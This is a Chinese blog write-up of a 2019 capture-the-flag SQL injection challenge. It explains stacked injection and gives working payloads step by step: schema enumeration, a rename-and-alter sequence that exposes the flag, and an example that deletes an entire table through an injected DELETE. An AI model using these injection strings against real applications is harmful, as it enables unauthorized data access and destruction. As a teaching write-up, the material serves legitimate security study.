强网杯2019-web-随便注

题目

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LGZJvAd8-1580880570577)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\ti.PNG)]

writeup

首先根据题目意思,知道是SQL注入

尝试进行注入

?inject=1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pjd1pIxV-1580880570579)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\1.PNG)]

1'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8LuFYaB-1580880570580)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\2.PNG)]

发现报错,想到利用#进行截断(注释掉)

1' #

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tUZfKLyd-1580880570580)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\3.PNG)]

回显正常

1' and 1=1#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3bIQWfLL-1580880570582)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\4.PNG)]

1' and 1=2#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ShCibr9B-1580880570583)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\5.PNG)]

发现没有回显

判断字段数

1' order by 1#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AnpCaDQt-1580880570584)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\6.PNG)]

1' order by 2#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VFbPgTcN-1580880570584)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\7.PNG)]

1' order by 3#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uRUxKyDO-1580880570585)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\8.PNG)]

到3时报错,故知字段数为2

尝试union联合注入

1' union select 1,2 #

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9kpGNNGX-1580880570586)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\9.PNG)]

发现报错,即过滤了select等关键字

查阅资料尝试

堆叠注入

1' ; show databases;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fJeC3nso-1580880570587)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\10.PNG)]

成功回显

查询表名

1' ; show tables;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8FwgOAEN-1580880570587)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\11.PNG)]

查询两个表中的列名

1' ; show columns from words;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B1zK3y6R-1580880570588)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\12.PNG)]

1' ; show columns from `1919810931114514`;#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWGLprbm-1580880570588)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\13.PNG)]

注意:使用反单引号

发现flag

查询大神博客后被下面的操作惊艳~

重点来了!!!

从之前的回显发现实际上都是words表内的,我们若想得到flag中的内容,需将其换为words表内的内容进行回显

换个角度来说,就是我们需要将1919810931114514表名换为words,并将flag的列名换为id

则需要以下三步:

  • 将表名words换为其他的,类似于word1
  • 将表名1919810931114514换为words
  • 将列名flag换为id

并通过之前的过滤规则发现并没有过滤掉alterrename等关键字

于是构造

1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ojQXoL9y-1580880570589)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\14.PNG)]

成功改变数据库结构后

1' or 1=1#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nu91WDiB-1580880570590)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\flag.PNG)]

得到flag~

知识点

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。

试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?

区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

参考文章:https://www.cnblogs.com/0nth3way/articles/7128189.html

对于数据库结构改变的简单语句

CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更(改变)数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引(搜索键)
DROP INDEX - 删除索引

本题涉及:

1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 
  • rename - 重命名

    rename tables `words` to `word1`
    

    重命名表wordsword1

  • alter - 变更列

    alter table `words` change `flag` `id` varchar(100)
    

    变更表words中的列flagid 且其性质为varchar(100)

发布了54 篇原创文章 · 获赞 25 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/wyj_1216/article/details/104181547